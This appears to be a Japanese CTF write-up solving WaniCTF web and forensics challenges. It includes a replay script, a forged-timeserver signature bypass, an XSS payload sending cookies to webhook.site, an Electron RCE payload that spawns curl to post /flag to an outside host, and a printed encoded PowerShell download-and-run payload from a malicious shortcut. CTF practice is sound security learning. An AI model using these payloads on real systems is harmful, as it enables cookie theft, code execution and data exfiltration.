https://ctftime.org/event/2377
- [Web] Bad_Worker
- [Web] pow
- [Web] One Day One Letter
- [Web] Noscript
- [Web] elec
- [Forensics] tiny_usb
- [Forensics] Surveillance_of_sus
- [Forensics] codebreaker
- [Forensics] I_wanna_be_a_streamer
- [Forensics] tiny_10px
- [Forensics] mem_search
[Web] Bad_Worker
ソースコード無し。Burpを使ってサイトを見てみよう。一通り動かした後プロキシログを見てみると、/service-worker.js
というのが気になる。
async function onFetch(event) { let cachedResponse = null; if (event.request.method === 'GET') { const shouldServeIndexHtml = event.request.mode === 'navigate'; let request = event.request; if (request.url.toString().includes("FLAG.txt")) { request = "DUMMY.txt"; } if (shouldServeIndexHtml) { request = "index.html" } return fetch(request); } return cachedResponse || fetch(event.request);
Service WorkerでFLAG.txt
にアクセスしようとするとDUMMY.txt
に書き換えられてしまうようだ。直接/FLAG.txt
を取得するとフラグが得られる。
$ curl https://[redacted].wanictf.org/FLAG.txt FLAG{■■■■■■■■■■■■■■■■}
[Web] pow
ソースコード無し。pow(:proof of works)するサイトが与えられる。GET /
の応答に以下のようなjavascriptが含まれている。
function hash(input) { let result = input; for (let i = 0; i < 10; i++) { result = CryptoJS.SHA256(result); } return (result.words[0] & 0xFFFFFF00) === 0; } async function send(array) { document.getElementById("server-response").innerText = await fetch( "/api/pow", { method: "POST", headers: { "Content-Type": "application/json", }, body: JSON.stringify(array), } ).then((r) => r.text()); } let i = BigInt(localStorage.getItem("pow_progress") || "0"); async function main() { await send([]); async function loop() { document.getElementById( "client-status" ).innerText = `Checking ${i.toString()}...`; localStorage.setItem("pow_progress", i.toString()); for (let j = 0; j < 1000; j++) { i++; if (hash(i.toString())) { await send([i.toString()]); } } requestAnimationFrame(loop); } loop(); } main();
powは10回sha256ハッシュを計算した結果が先頭48バイトが全部0になったものを計算するまで終わらない。かつ、progress: 0 / 1000000
を見る感じ、これを106回成功させる必要がある。1回成功させるだけでも大変そう。サイトを開いて通信を見ると以下のような通信が走っている。
POST /api/pow HTTP/2 Host: [redacted] Content-Length: 2 … [] HTTP/2 200 OK Alt-Svc: h3=":443"; ma=2592000 Content-Type: text/plain; charset=utf-8 Date: Fri, 21 Jun 2024 12:37:08 GMT Server: Caddy Set-Cookie: pow_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzZXNzaW9uSWQiOiJkYWUzYWU4NC00MmYyLTQ0OTktYjllZS1iYjk3YTVlM2VhYzkifQ.zfRkF6vbXfgTT1VygnZ8zsbr5QekXjFNXxWaqdTrmW4 Content-Length: 21 progress: 0 / 1000000
とりあえず明日にして寝るかと思い、このまま放置して寝て起きると2回成功していた。["2862152"]
と["7844289"]
で成功していて、progress: 2 / 1000000
となっていた。仮定は合っていたようだ。試しに最後の成功通信を再送してみるとprogressを増やすことができた。再送攻撃ができるようだ。106回リクエストを飛ばすとサーバーが大変なので、配列で送っている所を増やすと複数回増えるか試す。["7844289","7844289"]
とすると一度に2回増えることが確認できた。これで解くパーツが揃いましたね。
powの結果は全く同じ結果を送っても1回成功とカウントしてくれる。かつ、一度に複数のpow結果を送ることで複数回カウントアップができる。なので、既知の答え"2862152"
を一度に沢山送ることでprogressを一気に増やしてフラグを手に入れる。106一気には行けなかったので、以下のようにソルバーを書いてフラグを得る。ちなみに、1度に50000回として送るとrate limit exceeded
と怒られたのでもう少し一度に送れるギリギリを攻める必要がある。
import requests import time sess = requests.Session() sess.post('https://[redacted]/api/pow', json=[]) ONCE = 95000 for _ in range((1000000 + ONCE - 1) // ONCE): res = sess.post('https://[redacted]/api/pow', json=["2862152"]*ONCE).text time.sleep(1) print(res)
なお、(1000000 + ONCE - 1) // ONCE
というのは1000000÷ONCEの切り上げをしているだけ。
[Web] One Day One Letter
ソースコード有り。外部のタイムサーバーから日時を取得して、日付に応じたフラグの一部が取得できるシステムが与えられる。通信を見ると以下のような感じで時刻と署名、検証用のサーバのドメインを渡して、時刻を外部から差し込んでいる。
POST / HTTP/2 Host: [redacted].wanictf.org … {"timestamp": "1719017459", "signature": "c36b678fe4239dd3390e6aecf70463c46b9ce4beaa96cdb1c4be568fdb040d87230fc4cc1fb73fa98d6d975bf1c89bb4d9339055f1aa34f440e53335e54243a8","timeserver":"a55b-126-221-138-223.ngrok-free.app"}
サーバー側の処理はこんな感じ。
def get_pubkey_of_timeserver(timeserver: str): req = Request(urljoin('https://' + timeserver, 'pubkey')) with urlopen(req) as res: key_text = res.read().decode('utf-8') return ECC.import_key(key_text) def get_flag_hint_from_timestamp(timestamp: int): content = ['?'] * 12 idx = timestamp // (60*60*24) % 12 content[idx] = FLAG_CONTENT[idx] return 'FLAG{' + ''.join(content) + '}' class HTTPRequestHandler(BaseHTTPRequestHandler): def do_OPTIONS(self): self.send_response(200, "ok") self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS') self.send_header("Access-Control-Allow-Headers", "X-Requested-With") self.send_header("Access-Control-Allow-Headers", "Content-Type") self.end_headers() def do_POST(self): try: nbytes = int(self.headers.get('content-length')) body = json.loads(self.rfile.read(nbytes).decode('utf-8')) timestamp = body['timestamp'].encode('utf-8') signature = bytes.fromhex(body['signature']) timeserver = body['timeserver'] pubkey = get_pubkey_of_timeserver(timeserver) h = SHA256.new(timestamp) verifier = DSS.new(pubkey, 'fips-186-3') verifier.verify(h, signature) self.send_response(HTTPStatus.OK) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() dt = datetime.fromtimestamp(int(timestamp)) res_body = f'''<p>Current time is {dt.date()} {dt.time()}.</p> <p>Flag is {get_flag_hint_from_timestamp(int(timestamp))}.</p> <p>You can get only one letter of the flag each day.</p> <p>See you next day.</p> ''' self.wfile.write(res_body.encode('utf-8')) self.requestline except Exception: self.send_response(HTTPStatus.UNAUTHORIZED) self.end_headers()
つまり、以下のような処理をしている。
- 与えられた外部サーバーtimeserverにリクエストして公開鍵を取得する
- 公開鍵を使ってtimestampをsignatureを使って検証する
- 検証が通れば、timestampの日付を見て1日1文字ずつフラグの情報を返す
1日1文字ずつ取得できるので「果報は寝て待て」と問題コメントにあるのだが、12日間待つとコンテストが終わってしまうので何とかする必要がある。ポイントはtimeserverが外部差し込みできる点で、ここに自分で作成したtimeserverを用意することにする。自分で作成したtimeserverが用意できるということは、検証も自身の公開鍵を強制できるので検証が成功し、任意のtimestampを読み込ませることができる。これで1日ずつ日付をずらしてフラグ全体を取得しよう。
timeserverの実装もソースコードに含まれているので、少しだけ変更をして読み込み毎に日付を1日ずつ増やす処理を追加する。
from http import HTTPStatus from http.server import BaseHTTPRequestHandler, HTTPServer import json import time from Crypto.Hash import SHA256 from Crypto.PublicKey import ECC from Crypto.Signature import DSS key = ECC.generate(curve='p256') pubkey = key.public_key().export_key(format='PEM') delta_day = 0 # 追加 class HTTPRequestHandler(BaseHTTPRequestHandler): def do_GET(self): if self.path == '/pubkey': self.send_response(HTTPStatus.OK) self.send_header('Content-Type', 'text/plain; charset=utf-8') self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() res_body = pubkey self.wfile.write(res_body.encode('utf-8')) self.requestline else: global delta_day # 追加 timestamp = str(int(time.time() + 60*60*24 * delta_day)).encode('utf-8') # 変更 delta_day += 1 # 追加 h = SHA256.new(timestamp) signer = DSS.new(key, 'fips-186-3') signature = signer.sign(h) self.send_response(HTTPStatus.OK) self.send_header('Content-Type', 'text/json; charset=utf-8') self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() res_body = json.dumps({'timestamp' : timestamp.decode('utf-8'), 'signature': signature.hex()}) self.wfile.write(res_body.encode('utf-8')) handler = HTTPRequestHandler httpd = HTTPServer(('', 5001), handler) httpd.serve_forever()
これをpython3
で起動し、ngrok http 5001
で外部公開しておく。これでtimeserverが用意できたので後は以下のようなスクリプトで1文字ずつ取り出してくる。
import requests import json import re import time NGROK = '[yours].ngrok-free.app' VICTIM = '[redacted].wanictf.org' ans = "" for i in range(12): signed = json.loads(requests.get(f'https://{NGROK}/').text) html_content = requests.post(f'https://{VICTIM}/', json={'timestamp':signed['timestamp'], 'signature':signed['signature'], 'timeserver':NGROK}).text ans += re.search(r"FLAG\{.*?\}", html_content).group()[5 + i] print(f"FLAG{{{ans}}}") time.sleep(1)
[Web] Noscript
ソースコード有り。crawler向けコードもあり、以下の部分にフラグがあった。
const crawl = async (path) => { const browser = await chromium.launch(); const page = await browser.newPage(); const cookie = [ { name: "flag", value: FLAG, domain: HOST, path: "/", expires: Date.now() / 1000 + 100000, }, ]; page.context().addCookies(cookie); try { await page.goto(APP_URL + path, { waitUntil: "domcontentloaded", timeout: 3000, }); await page.waitForTimeout(1000); await page.close(); } catch (err) { console.error("crawl", err.message); } finally { await browser.close(); console.log("crawl", "browser closed"); } };
cookieにFLAGが入っているのでXSSをして持ってくる問題だろう。メインのサイトはgolangで書かれている。crawlerへのレポート用エンドポイントも定義されており、/user/ce93310c-b549-4fe2-9afa-a298dc4cb78d
みたいなパスを送り付けることができる。よって、/user/:id
の実装を見てみよう。
// Get user profiles r.GET("/user/:id", func(c *gin.Context) { c.Header("Content-Security-Policy", "default-src 'self', script-src 'none'") id := c.Param("id") re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$") if re.MatchString(id) { if val, ok := db.Get(id); ok { params := map[string]interface{}{ "id": id, "username": val[0], "profile": template.HTML(val[1]), } c.HTML(http.StatusOK, "user.html", params) } else { _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>") } } else { _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>") } })
外部から差し込めそうな部分で考えるとc.HTML(http.StatusOK, "user.html", params)
っぽい。あまり考えず、さっと実験してHTMLが入れ込めるか試してみる。<s>XSS?</s>
というのをprofileに入れてみると、取り消し線が入った状態で表示されてきた。ここに差し込めそうですね。
問題はc.Header("Content-Security-Policy", "default-src 'self', script-src 'none'")
のようにCSPが設定されている所。回避できそうな所を探すと以下のような入力値を差し込めそうで、かつCSPがかかっていないエンドポイントが見つかる。
// Get username API r.GET("/username/:id", func(c *gin.Context) { id := c.Param("id") re := regexp.MustCompile("^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-4[a-fA-F0-9]{3}-[8|9|aA|bB][a-fA-F0-9]{3}-[a-fA-F0-9]{12}$") if re.MatchString(id) { if val, ok := db.Get(id); ok { _, _ = c.Writer.WriteString(val[0]) } else { _, _ = c.Writer.WriteString("<p>user not found <a href='/'>Home</a></p>") } } else { _, _ = c.Writer.WriteString("<p>invalid id <a href='/'>Home</a></p>") } })
試しにアクセスしてみるとユーザー名がそのまま出てきた。これが使えそうですね。usernameを<script>alert(document.domain);</script>
にしてここにアクセスしてみると、アラートが表示された。これで/username/:id
でXSSが引き起こせることは分かったが、crawlerがアクセスできるのは/user/:id
。なので何とかして、/user/:id
から/username/:id
に移動させる必要があるが、これにはmetaタグが利用できる。CSPで制限がかかっていても使えるものの1つとしてmetaタグによるリダイレクトがあります。<meta http-equiv="refresh" content="0; URL=https://www.google.com/">
をprofileにして作成してみると、自動で遷移されることが確認できる。
解くパーツが揃ったので組み合わせていく。
- リクエストを受け取る場所を用意する(自分はrequest catcherをいつも使っていますが、webhook.siteを使ってる人の方が多いので、たまにはこっちを使ってみます)例:https://webhook.site/f02ea2e2-d8f3-49f8-8211-fab5fa38cc64
/username/:id
で動かすためのXSSペイロードを用意する。以下、fetchで外部にpostするコード。例:<script>fetch('https://webhook.site/f02ea2e2-d8f3-49f8-8211-fab5fa38cc64/', { method : 'post', body: document.cookie });</script>
- これをusernameにしてユーザーを作りidを取得する。例:b53f453d-a6f6-4830-a566-28f9c7ff69a1
/user/:id
側の準備をする。遷移用のペイロードを手順3のidを組み込んで用意。XSSが動くのはusername側のペイロードなので、そこに移動するように書く。例:<meta http-equiv="refresh" content="0; URL=http://app:8080/username/b53f453d-a6f6-4830-a566-28f9c7ff69a1">
ここが注意点で遷移先はhttp://app:8080
を使う必要がある。これはcrawlerがflagを登録するために使っているHostがここになっているためである。遷移先を正しく設定しないと設定されたCookieが使われず、空の応答が帰ってくるだけになってしまう。
- これをprofileにしてユーザーを作りidを取得しておく。直ぐに遷移してしまうので、Burp Suiteなどで通信ログを取れるようにしておき、そこからidを取得するといいです。例:
f997bb36-f5d1-423e-a912-cc1f9f72e417
- あとは
/user/f997bb36-f5d1-423e-a912-cc1f9f72e417
のようにしてレポートすれば、リクエストが飛んできてフラグ獲得
[Web] elec
ソースコード有り。golangで書かれたelec-serverと、nodeとelectronで書かれたelec-admin-consoleというのが用意されている。
elec-server
elec-serverはとても簡潔で以下のようにelec-admin-consoleに/article/:id
を踏ませるために用意されている。
func visitArticle(id uuid.UUID) { ctx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() cmd := exec.CommandContext(ctx, "elec-admin-console", "http://localhost:"+os.Getenv("PORT")+"/article/"+id.String()) cmd.Cancel = func() error { return cmd.Process.Signal(os.Interrupt) } cmd.WaitDelay = 5 * time.Second out, err := cmd.CombinedOutput() log.Printf("Admin console completed for article %s: %+v %s", id.String(), err, out) }
ここで踏まれる/article/:id
は以下のような実装。
e.GET("/article/:id", func(c echo.Context) error { id := c.Param("id") var p post err := db.Find(&p, "id = ?", id).Error if err != nil { return err } if p.ID == "" { return echo.ErrNotFound } return c.Render(http.StatusOK, "article", &p) })
ここで表示されるコンテンツはテンプレート側でサニタイズされて表示される。
<script type="module"> import sanitizeHtml from 'https://esm.sh/sanitize-html@2.11.0' document.getElementById("content").innerHTML = sanitizeHtml({{ .Content }}, {allowedTags: ["p", "br", "hr", "a", "img", "blockquote", "ul", "ol", "li"],allowedAttributes: {'*':['*']}}) </script>
CSPも付いている。
c.Response().Header().Set("Content-Security-Policy", "default-src 'self'; script-src 'self' https://cdn.jsdelivr.net https://esm.sh 'unsafe-inline'; style-src 'self' https://cdn.jsdelivr.net; object-src 'none'; base-uri 'none'; frame-ancestors 'none'")
色々制約があるが、この状況であれば<img src=x onerror=alert(1)>
でXSS可能。試すとアラートが出てくるので動くことを確認できた。ここまでがelec-server。XSSまでできることは確認できた。
elec-admin-console
フラグはDockerfileを見るとCOPY flag /flag
とあるので/flag
が読めればフラグ獲得。なので、XSSを使って、ファイル読み出しかコマンド実行ができればよさそう。Electronでは、しばしばXSSをそういった攻撃に発展させる手法が出てくるので今回もそうだろうという過程を持って臨む。
BrowserWindowを見てみる。
const createWindow = () => { const win = new BrowserWindow({ width: 800, height: 600, webPreferences: { preload: path.join(__dirname, "preload.js"), contextIsolation: false, sandbox: false, }, }); win.webContents.once("did-finish-load", () => { console.log("Page loaded!"); }); win.loadURL(pageUrl); };
sandbox: false
なので仮定は合っていそう。contextIsolation: false
も使えそうですね。preloadで参照されているpreload.jsは以下の通り。
const { spawn } = require("node:child_process"); window.addEventListener("load", async () => { const versions = { app: "0.0.1", node: process.versions.node, chrome: process.versions.chrome, electron: process.versions.electron, }; console.log(versions); const cp = spawn("uname", ["-a"]); console.log(cp); const kernelInfo = await loadStream(cp.stdout); document.getElementById("app-version").textContent = versions.app; document.getElementById("node-version").textContent = versions.node; document.getElementById("chrome-version").textContent = versions.chrome; document.getElementById("electron-version").textContent = versions.electron; document.getElementById("kernel-info").textContent = kernelInfo.toString(); document.getElementById("admin-footer").classList.remove("d-none"); }); const loadStream = (s) => new Promise((resolve, reject) => { const chunks = []; s.on("data", (chunk) => chunks.push(chunk)); s.on("error", reject); s.on("end", () => resolve(Buffer.concat(chunks))); });
loadなので読み込みが完了したときに実行される。テストの邪魔なのでCSPを外して、window.addEventListener("load", async () => {
の中にfetchを入れて、実行順序を見てみると、loadが読み込まれるよりも前に外部から差し込んだJavaScriptが動いていることが分かった。なので、Prototype Pollutionでなんかする感じですね。読み込んだJavaScriptのコンテキストとpreloadのコンテキストはcontextIsolation: false
により同じコンテキストなので、Prototype Pollutionをしてなんらかの干渉を試す。
再度注意ですが、検証のためにCSP外して以下検証しています。
<img src=x onerror="const orgCall = console.log;console.log = function(...args){fetch('https://[yours].requestcatcher.com/console-log', { method : 'post', body: JSON.stringify(args) }); return orgCall.apply(this,args);}">
とすると、console.logをジャックして中身を見られた。console.log(versions);
は以下のような感じ。
[{"app":"0.0.1","node":"20.11.1","chrome":"124.0.6367.230","electron":"30.0.8"}]
console.log(cp);
の中身は以下のような感じ。cpに入っているのはChildProcessクラスのインスタンス。
[{"_events":{},"_eventsCount":0,"_closesNeeded":3,"_closesGot":0,"connected":false,"signalCode":null,"exitCode":null,"killed":false,"spawnfile":"uname","_handle":{"pid":199},"spawnargs":["uname","-a"],"pid":199,"stdin":{"connecting":false,"_hadError":false,"_parent":null,"_host":null,"_closeAfterHandlingError":false,"_events":{},"_readableState":{"highWaterMark":16384,"buffer":[],"bufferIndex":0,"length":0,"pipes":[],"awaitDrainWriters":null,"readable":false},"_writableState":{"highWaterMark":16384,"length":0,"corked":0,"writelen":0,"bufferedIndex":0,"pendingcb":0},"allowHalfOpen":false,"_eventsCount":1,"_sockname":null,"_pendingData":null,"_pendingEncoding":"","server":null,"_server":null},"stdout":{"connecting":false,"_hadError":false,"_parent":null,"_host":null,"_closeAfterHandlingError":false,"_events":{},"_readableState":{"highWaterMark":16384,"buffer":[],"bufferIndex":0,"length":0,"pipes":[],"awaitDrainWriters":null},"_writableState":{"highWaterMark":16384,"length":0,"corked":0,"writelen":0,"bufferedIndex":0,"pendingcb":0},"allowHalfOpen":false,"_eventsCount":2,"_sockname":null,"_pendingData":null,"_pendingEncoding":"","server":null,"_server":null},"stderr":{"connecting":false,"_hadError":false,"_parent":null,"_host":null,"_closeAfterHandlingError":false,"_events":{},"_readableState":{"highWaterMark":16384,"buffer":[],"bufferIndex":0,"length":0,"pipes":[],"awaitDrainWriters":null},"_writableState":{"highWaterMark":16384,"length":0,"corked":0,"writelen":0,"bufferedIndex":0,"pendingcb":0},"allowHalfOpen":false,"_eventsCount":2,"_sockname":null,"_pendingData":null,"_pendingEncoding":"","server":null,"_server":null},"stdio":[{"connecting":false,"_hadError":false,"_parent":null,"_host":null,"_closeAfterHandlingError":false,"_events":{},"_readableState":{"highWaterMark":16384,"buffer":[],"bufferIndex":0,"length":0,"pipes":[],"awaitDrainWriters":null,"readable":false},"_writableState":{"highWaterMark":16384,"length":0,"corked":0,"writelen":0,"bufferedIndex":0,"pendingcb":0},"allowHalfOpen":false,"_eventsCount":1,"_sockname":null,"_pendingData":null,"_pendingEncoding":"","server":null,"_server":null},{"connecting":false,"_hadError":false,"_parent":null,"_host":null,"_closeAfterHandlingError":false,"_events":{},"_readableState":{"highWaterMark":16384,"buffer":[],"bufferIndex":0,"length":0,"pipes":[],"awaitDrainWriters":null},"_writableState":{"highWaterMark":16384,"length":0,"corked":0,"writelen":0,"bufferedIndex":0,"pendingcb":0},"allowHalfOpen":false,"_eventsCount":2,"_sockname":null,"_pendingData":null,"_pendingEncoding":"","server":null,"_server":null},{"connecting":false,"_hadError":false,"_parent":null,"_host":null,"_closeAfterHandlingError":false,"_events":{},"_readableState":{"highWaterMark":16384,"buffer":[],"bufferIndex":0,"length":0,"pipes":[],"awaitDrainWriters":null},"_writableState":{"highWaterMark":16384,"length":0,"corked":0,"writelen":0,"bufferedIndex":0,"pendingcb":0},"allowHalfOpen":false,"_eventsCount":2,"_sockname":null,"_pendingData":null,"_pendingEncoding":"","server":null,"_server":null}]}]
…ここまでは順調だったが、ここから長かった。cpをうまく活用すると思ったがうまく刺さらず、別の方法に時間を吸われ続けていた。1日寝てからcpに戻ってくると解けた。起きてから、(方針は違ったが)良い感じのPrototype Pollutionのgadgetを探しにspawn関数の実装に行くと、以下のようにコマンド呼び出しにChildProcessのspawnを使っているのを発見した。
function spawn(file, args, options) { options = normalizeSpawnArguments(file, args, options); validateTimeout(options.timeout); validateAbortSignal(options.signal, 'options.signal'); const killSignal = sanitizeKillSignal(options.killSignal); const child = new ChildProcess(); debug('spawn', options); child.spawn(options); …
さっさとこの実装を見ればよかった。cpにspawnがあることは分かっていたが使い方が分からなかった。child.spawnに渡す前にdebugに通されているので、実際に動かしてどういうものが入っているかを見てみる。NODE_DEBUG=child_process
でデバッグ出力を有効化しながら見てみる。
$ NODE_DEBUG=child_process node Welcome to Node.js v18.13.0. Type ".help" for more information. > const { spawn } = require("node:child_process"); undefined > spawn("uname", ["-a"]); CHILD_PROCESS 5740: spawn { args: [ 'uname', '-a' ], cwd: undefined, detached: false, envPairs: [ 'NODE_DEBUG=child_process', /* REDACTED */ '_=/usr/bin/node' ], file: 'uname', windowsHide: false, windowsVerbatimArguments: false }
なるほど、実際に使ってみよう。
$ node Welcome to Node.js v18.13.0. Type ".help" for more information. > const { spawn } = require("node:child_process"); undefined > const cp = spawn("uname", ["-a"]); undefined > cp.spawn({ ... args: [ 'curl', 'https://[yours].requedefstcatcher.com/rce' ], ... cwd: undefined, ... detached: false, ... envPairs: [], ... file: 'curl', ... windowsHide: false, ... windowsVerbatimArguments: false ... }) Uncaught TypeError: Cannot read properties of null (reading 'spawn') at ChildProcess.spawn (node:internal/child_process:388:28)
うまくいかない。spawn関数の実装を見ると、const child = new ChildProcess();
のように新しくインスタンスを作ってから呼んでいるので、新しくインスタンスを作ってから呼ぶとうまくいく。
> (new cp.constructor()).spawn({ ... args: [ 'curl', 'https://[yours].requestcatcher.com/rce' ], ... cwd: undefined, ... detached: false, ... envPairs: [], ... file: 'curl', ... windowsHide: false, ... windowsVerbatimArguments: false ... }) 0
request catcherにリクエストが来た!!!ということで以下を試す。
<img src=x onerror="const orgCall = console.log;console.log = function(...args){if('pid' in args[0]){(new args[0].constructor()).spawn({args: [ 'curl', 'https://[yours].requestcatcher.com/rce' ],cwd: undefined,detached: false,envPairs: [],file: 'curl',windowsHide: false,windowsVerbatimArguments: false});}return orgCall.apply(this,args);}">
ちゃんと本番環境でも応答が来ますね。RCE達成したので、あとはフラグを読み出す。以下を投げるとフラグが降ってくる。
<img src=x onerror="const orgCall = console.log;console.log = function(...args){if('pid' in args[0]){(new args[0].constructor()).spawn({args: [ 'curl', 'https://[yours].requestcatcher.com/get', '-X', 'POST', '-d', '@/flag' ],cwd: undefined,detached: false,envPairs: [],file: 'curl',windowsHide: false,windowsVerbatimArguments: false});}return orgCall.apply(this,args);}">
[Forensics] tiny_usb
isoファイルが与えられる。FTK Imagerでとりあえず開くと、Session 1/Track 01/CHAL_TINY_USB/FLAG.PNG
があり、フラグが書いてある。
[Forensics] Surveillance_of_sus
「何らかのキャッシュファイル」が与えられる。stringsをしてみるとRDP8bmp
という文字列が見える。BMC(:RDP Bitmap Cache)っぽいですね。ここにあるような手順で復元していく。
$ python3 bmc-tools.py -s ../Cache_chal.bin -d ../dumped/ [+++] Processing a single file: '../Cache_chal.bin'. [===] 650 tiles successfully extracted in the end. [===] Successfully exported 650 files.
大量のbmp画像が出てくるので、RdpCacheStitcherでポチポチフラグっぽい所を結合するとフラグが得られる。字がきれい。
[Forensics] codebreaker
QRコードに大きなバッテンが付いた画像が与えられる。左上、右上、左下の□をキレイにしたら読み取れた。フラグが書いてある。
[Forensics] I_wanna_be_a_streamer
pcapファイルが与えられるので、記録されているH.264形式の動画ストリームを抜き出す問題。以下の手順で抜き出してきた。
- H264extractorのプラグインをWiresharkに入れておく
- ここを参考にWiresharkの
設定 > Protocols > H.264
を開き、RTP payload typeを96に設定する - Wiresharkの
ツール > Extract h264 stream from RTP
を実行すると動画ファイルが抜き出せる - そのままでは見れなかったので、
ffmpeg -i video_20240622-181640.264 -movflags faststart -vcodec libx264 -acodec libfaac out.mp4
のようにmp4に変換すると閲覧可能。
[Forensics] tiny_10px
chal_tiny_10px.jpg
というファイルが与えられる。10×10pxにしてはファイルサイズがでかすぎるので横と縦のサイズを変更してやれば何か出てくるかもしれない。やり方をChatGPTに聞く。
Q: jpegファイルのバイナリを編集して縦横の長さを変更するには A: … SOFセグメントは0xFFC0または0xFFC2のマーカーで始まります。その後、縦横のサイズがバイナリ形式で格納されています。 … def change_jpeg_size(filename, new_width, new_height): # バイナリモードでJPEGファイルを読み込み with open(filename, 'rb') as f: data = bytearray(f.read()) # SOFセグメントのマーカーを探す index = 0 while index < len(data): if data[index] == 0xFF and (data[index + 1] == 0xC0 or data[index + 1] == 0xC2): # 縦横のサイズが記録されている位置を見つける height_index = index + 5 width_index = index + 7 # 新しいサイズを書き込む data[height_index:height_index + 2] = new_height.to_bytes(2, 'big') data[width_index:width_index + 2] = new_width.to_bytes(2, 'big') break index += 1 # バイナリモードでJPEGファイルを書き込み with open(filename, 'wb') as f: f.write(data) # 使用例 change_jpeg_size('example.jpg', 800, 600)
ok. FF C0
を探すとそのちょっと後に0A
となっている部分を発見。適当に修正すると何やら赤い文字が出てきた。サイズを色々試した結果、0x0D91と0x0D93が0x0Aになっているのでどちらも0xA0にするとフラグが浮かび上がってきた。
[Forensics] mem_search
メモリダンプが与えられる。stringsを見るとWindowsのメモリダンプ。問題文に知らないファイルがあったので開いてみると変な動作をしたので、メモリダンプを取りました!
とあるので、それを探してみよう。
$ python3 ~/.opt/volatility3/vol.py -f chal_mem_search.DUMP windows.filescan … 0xcd88cebae1c0 \Users\Mikka\Downloads\read_this_as_admin.download 216 …
怪しい。
$ python3 ~/.opt/volatility3/vol.py -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebae1c0 Volatility 3 Framework 2.4.1 Progress: 100.00 PDB scanning finished Cache FileObject FileName Result DataSectionObject 0xcd88cebae1c0 read_this_as_admin.download file.0xcd88cebae1c0.0xcd88ced4eaf0.DataSectionObject.read_this_as_admin.download.dat $ file file.0xcd88cebae1c0.0xcd88ced4eaf0.DataSectionObject.read_this_as_admin.download.dat file.0xcd88cebae1c0.0xcd88ced4eaf0.DataSectionObject.read_this_as_admin.download.dat: ASCII text, with CRLF line terminators $ cat file.0xcd88cebae1c0.0xcd88ced4eaf0.DataSectionObject.read_this_as_admin.download.dat [ZoneTransfer] ZoneId=3 ReferrerUrl=http://192.168.0.16:8282/ HostUrl=http://192.168.0.16:8282/read_this_as_admin.lnk
Zone.Identifierですね。本体を探すと0xcd88cebc26c0 \Users\Mikka\Desktop\read_this_as_admin.lnknload 216
という記録がfilescanに残っていた。
$ python3 ~/.opt/volatility3/vol.py -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebc26c0 Volatility 3 Framework 2.4.1 Progress: 100.00 PDB scanning finished Cache FileObject FileName Result DataSectionObject 0xcd88cebc26c0 read_this_as_admin.lnknload file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat file file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Unicoded, HasExpIcon, Archive, ctime=Thu Feb 15 16:33:59 2024, atime=Sat May 11 00:11:30 2024, mtime=Thu Feb 15 16:33:59 2024, length=455680, window=normal, IDListSize 0x020d, Root folder "20D04FE0-3AEA-1069-A2D8-08002B30309D", Volume "C:\", LocalBasePath "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
lnkファイルで感染させるやつ。雑にstringsで中を確認する。
$ strings -e l file.0xcd88cebc26c0.0xcd88ced4e5f0.DataSectionObject.read_this_as_admin.lnknload.dat Windows rSystem32 WindowsPowerShell v1.0 'powershell.exe ?..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32 -window hidden -noni -enc JAB1AD0AJwBoAHQAJwArACcAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAwAC4AMQA2ADoAOAAyADgAMgAvAEIANgA0AF8AZABlAGMAJwArACcAbwBkAGUAXwBSAGsAeABCAFIAMwB0AEUAWQBYAGwAMQBiAFYAOQAwAGEARwBsAHoAWAAnACsAJwAyAGwAegBYADMATgBsAFkAMwBKAGwAZABGADkAbQBhAFcAeABsAGYAUQAlADMAJwArACcARAAlADMARAAvAGMAaABhAGwAbABfAG0AZQBtAF8AcwBlACcAKwAnAGEAcgBjAGgALgBlACcAKwAnAHgAZQAnADsAJAB0AD0AJwBXAGEAbgAnACsAJwBpAFQAZQBtACcAKwAnAHAAJwA7AG0AawBkAGkAcgAgAC0AZgBvAHIAYwBlACAAJABlAG4AdgA6AFQATQBQAFwALgAuAFwAJAB0ADsAdAByAHkAewBpAHcAcgAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAZABcAG0AcwBlAGQAZwBlAC4AZQB4AGUAOwAmACAAJABkAFwAbQBzAGUAZABnAGUALgBlAHgAZQA7AH0AYwBhAHQAYwBoAHsAfQA= C:\hack\shared\read_this.docx %SystemDrive%\hack\shared\read_this.docx S-1-5-21-1812296582-1250191020-2086791148-1001
base64化されたペイロードをpowershellで動かすいつものやつ。
